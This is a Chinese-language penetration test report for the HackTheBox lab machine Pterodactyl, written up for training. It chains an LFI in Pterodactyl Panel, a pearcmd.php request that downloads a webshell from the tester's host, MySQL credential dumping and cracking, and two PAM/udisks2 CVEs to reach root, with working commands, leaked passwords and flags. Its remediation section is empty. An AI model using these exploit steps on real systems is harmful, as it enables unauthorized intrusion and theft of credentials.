渗透测试报告 — HackTheBox: Pterodactyl

日期： 2026年4月8日
目标： Pterodactyl (HackTheBox)
难度： 中等
操作系统： Linux (openSUSE Leap 15.6)
测试人员： V0idW1re

执行摘要

HackTheBox 上的 Pterodactyl 机器呈现了一个现实的攻击场景，涉及配置错误的 Web 应用程序和链式特权提升漏洞。测试人员从未认证的位置出发，通过一系列逻辑严密的利用步骤实现了完整的 root 接管。攻击链涉及未认证的本地文件包含漏洞、创造性地滥用 PHP 包管理器实现远程代码执行、凭据提取与破解，最后将两个已公开披露的 CVE 串联起来，将权限从低权限用户提升至 root。

范围

方法论

本次评估遵循标准的渗透测试方法论：

1. 侦察与服务枚举
2. Web 应用程序分析
3. 初始利用
4. 后渗透与横向移动
5. 特权提升
6. 失陷证明

发现

发现 1 — 未认证本地文件包含 (CVE-2025-49132)

严重性： 严重
组件： Pterodactyl Panel v1.11.10 — /locales/locale.json 端点

描述：
Pterodactyl Panel 的 locale 端点未能对 locale 和 namespace 查询参数进行清理，从而导致目录遍历。由于应用程序会在 namespace 值后追加 .php 并通过 PHP 的 include 机制加载该文件，攻击者可以强制服务器加载并执行文件系统上的任意 PHP 文件。

利用方式：

GET /locales/locale.json?locale=../../../../../../var/www/pterodactyl/&namespace=config/database

影响：
从 config/database.php 中提取了数据库凭据：

• 用户名：pterodactyl
• 密码：PteraPanel
• 数据库：panel

同时还从 config/app.php 中提取了 Laravel 应用程序密钥。

证据：

{"connections":{"mysql":{"username":"pterodactyl","password":"PteraPanel"}}}

发现 2 — 通过 pearcmd.php 实现远程代码执行

严重性： 严重
组件： PHP PEAR 安装 + LFI

描述：
在建立 LFI 原语后，测试人员利用了 PEAR 包管理器的 pearcmd.php 脚本。当 PHP 配置中 register_argc_argv=On（已通过 phpinfo 确认）时，查询字符串会被 pearcmd 解析为命令行参数。利用 download 命令从攻击者的服务器获取 PHP webshell，并将其保存到 Panel 的公共 Web 目录中。

利用方式：

GET /locales/locale.json?locale=../../../../../../usr/share/php/PEAR/&namespace=pearcmd&+download+http://10.10.15.128:8000/shell.php

影响：
一个 PHP webshell 被写入 /var/www/pterodactyl/public/shell.php，从而以 wwwrun 用户身份实现未认证的远程代码执行。

证据：

http://panel.pterodactyl.htb/shell.php?cmd=id
uid=474(wwwrun) gid=477(www) groups=477(www)

发现 3 — 明文数据库凭据与弱密码存储

严重性： 高
组件： MySQL panel 数据库

描述：
利用 RCE shell，测试人员使用通过 LFI 获取的凭据连接了 MySQL 数据库。users 表包含所有 Panel 用户的 bcrypt 哈希密码。用户 phileasfogg3 的哈希通过常用字典在离线状态下被破解。

利用方式：

SELECT username, password FROM users;

已破解凭据：

• 用户名：phileasfogg3
• 密码：!QAZ2wsx

影响：
以 phileasfogg3 身份获得 SSH 访问权限，并成功捕获用户标志：

user.txt: 916235b4261e70fdb090402c641a7808

发现 4 — PAM 环境变量特权绕过 (CVE-2025-6018)

严重性： 高
组件： PAM 配置 — pam_env.so（user_readenv=1）

描述：
openSUSE Leap 15.6 上的 PAM 配置通过 pam_env.so（user_readenv=1）加载用户的 ~/.pam_environment 文件。通过在该文件中设置特定的环境变量，非特权 SSH 用户可以欺骗 systemd-logind 和 Polkit，使其认为该会话是活动的物理控制台会话，从而获得 allow_active 权限。

利用方式：

echo -e "XDG_SEAT=seat0\nXDG_VTNR=1" > ~/.pam_environment

重新通过 SSH 连接后，会话被识别为 Active=yes，这使得非特权用户能够调用通常需要物理控制台在场的 udisks2 D-Bus 方法。

证据：

udisksctl loop-setup -f /tmp/xfs.img
Mapped file /tmp/xfs.img as /dev/loop0.
# No authentication prompt

发现 5 — udisks2 XFS 调整大小竞态条件 (CVE-2025-6019)

严重性： 严重
组件： udisks2 v2.9.2 / libblockdev — org.freedesktop.UDisks2.Filesystem.Resize

描述：
当 udisks2 通过 libblockdev 调整 XFS 文件系统大小时，它会将文件系统镜像临时挂载到 /tmp/blockdev.* 下的全局可访问目录中，且不使用 nosuid 和 nodev 挂载标志。这创造了一个短暂的竞态条件窗口，在此期间，镜像中的任何 SUID 二进制文件都可以以提升的有效 UID 执行。

拥有 allow_active Polkit 权限（通过 CVE-2025-6018 获得）的攻击者可以：

1. 创建一个包含 root 所有 SUID bash 二进制的 XFS 镜像
2. 通过 udisksctl loop-setup 设置循环设备
3. 通过 D-Bus 触发调整大小操作
4. 在临时的无 nosuid 挂载窗口期间竞速执行 SUID 二进制文件

关于 XFS 镜像兼容性的重要说明：
针对 openSUSE Leap 15.6 (SP5/SP6)，必须使用特定的标志创建 XFS 镜像：

mkfs.xfs -f -i exchange=0 -n parent=0 xfs.img

利用方式：

# Build malicious XFS image (on attacker machine)
dd if=/dev/zero of=xfs.img bs=1M count=300
mkfs.xfs -f -i exchange=0 -n parent=0 xfs.img
mount xfs.img /mnt
cp /bin/bash /mnt/bash
chown root:root /mnt/bash
chmod 4755 /mnt/bash
umount /mnt

# On target — race the resize window
udisksctl loop-setup -f /tmp/xfs.img
(while true; do
    /tmp/blockdev.*/bash -p -c 'cp /usr/bin/bash /tmp/rb; chmod 4755 /tmp/rb' 2>/dev/null
done) &
busctl call org.freedesktop.UDisks2 \
    /org/freedesktop/UDisks2/block_devices/loop0 \
    org.freedesktop.UDisks2.Filesystem Resize "ta{sv}" 0 0

证据：

/tmp/blockdev.1LYHN3/bash -p -c 'id'
uid=1002(phileasfogg3) gid=100(users) euid=0(root) groups=100(users)

Root 标志：

root.txt: d3a242011c18cb81f08ad80337330641

访问证明

特权提升摘要

[Unauthenticated]
    ↓ CVE-2025-49132 (LFI)
[Database Credentials]
    ↓ pearcmd RCE
[wwwrun shell]
    ↓ MySQL credential dump + hash crack
[phileasfogg3 SSH]
    ↓ CVE-2025-6018 (PAM bypass → allow_active)
    ↓ CVE-2025-6019 (udisks2 XFS resize race)
[root]

影响

目标系统被完全攻陷。拥有此级别访问权限的攻击者可以：

• 读取、修改或删除系统上的所有文件
• 安装持久化后门或恶意软件
• 在网络中横向移动至其他系统
• 访问所有已存储的凭据和敏感数据
• 破坏或操纵托管的服务

修复建议

本报告仅出于教育目的编写，作为 HackTheBox 实验室练习的一部分。所有测试均在合法、隔离的实验室环境中进行。